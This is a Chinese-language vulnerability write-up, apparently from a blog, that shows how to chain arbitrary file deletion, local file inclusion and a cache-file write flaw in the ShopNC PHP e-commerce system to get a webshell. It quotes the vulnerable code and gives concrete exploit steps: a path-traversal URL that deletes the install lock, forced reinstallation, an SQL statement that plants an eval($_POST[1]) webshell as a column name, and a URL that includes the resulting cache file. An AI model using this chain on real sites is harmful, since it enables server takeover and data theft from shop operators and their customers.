電子商務(wù)系統(tǒng)ShopNC多個漏洞結(jié)合可暴力getshell
前言
ShopNC是一款網(wǎng)城創(chuàng)想公司旗下服務(wù)于企業(yè)客戶的電子商務(wù)系統(tǒng)，基于PHP5技術(shù)采用MVC 模式開發(fā)，本文介紹了shopnc多個漏洞結(jié)合,可getshell有點暴力-_-
任意文件刪除
文件 control\store.php 1438 行 (還有幾個同樣的地方,新版已修復(fù))
........
$model_upload = Model('upload');
$file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
if(!$file_info){
@unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
}else{
........
本地文件包含
文件 /framework/core/base.php 71行
$act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
}
if ( is_file( $act_file ) )
{
require( $act_file );
$class_name = $_GET['act']."Control";
if ( class_exists( $class_name ) )
后臺更新緩存寫shell
/**
* 更新一條廣告緩存
*
* @param unknown_type $adv
* @return unknown
*/
public function makeAdvCache($adv){
$lang = Language::getLangContent();
$tmp .= "<?php \r\n";
$tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
if (is_numeric($adv) && $adv > 0){
$condition['adv_id'] = $adv;
$adv_info = $this->getList($condition);
$adv = $adv_info['0'];
}
..................................
$content = addslashes($v);
$content = str_replace('$','\$',$content);
//防止有$符號被解析成變量
$tmp .= '$'.$k." = \"".$content."\"; \r\n";
}
//緩存文件存放位置及文件名
$cache_file = BasePath.'/cache/adv/adv_'.$adv['adv_id'].'.cache.php';
file_put_contents($cache_file,$tmp);
繼續(xù)跟進getList函數(shù)
public function getList($condition=array(), $page='', $limit='', $orderby=''){
$param = array();
$param['table'] = 'adv';
$param['field'] = $condition['field']?$condition['field']:'*';
$param['where'] = $this->getCondition($condition);
if($orderby == ''){
$param['order'] = 'slide_sort, adv_id desc';
}else{
$param['order'] = $orderby;
}
$param['limit'] = $limit;
return Db::select($param,$page);
}
寫文件時,從數(shù)據(jù)庫中遍歷key,跟value 未過濾key,key 可以從數(shù)據(jù)庫讀取,當(dāng)有數(shù)據(jù)庫可控時,即可寫入任意文件.
ShopNc GetShell
結(jié)合以上三個漏洞,即可優(yōu)雅的 getshell
流程
任意文件刪除 => 重裝 => 更改數(shù)據(jù)庫 shopnc_adv 鍵值 =>更新廣告緩存 =>getshell
具體步驟
1:http://www.xxx.com/index.php?act=store&op=dorp_img&file_id=16&img_src=/../../../install/lock
2:重裝系統(tǒng)
3:進入MySQL 執(zhí)行sql ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL
4:進入后臺 更新廣告緩存 http://www.xxx.com/admin/index.php?act=adv&op=adv_edit&adv_id=14
5:連接shell http://www.xxx.com/index.php?act=../cache/adv/adv_14.cache
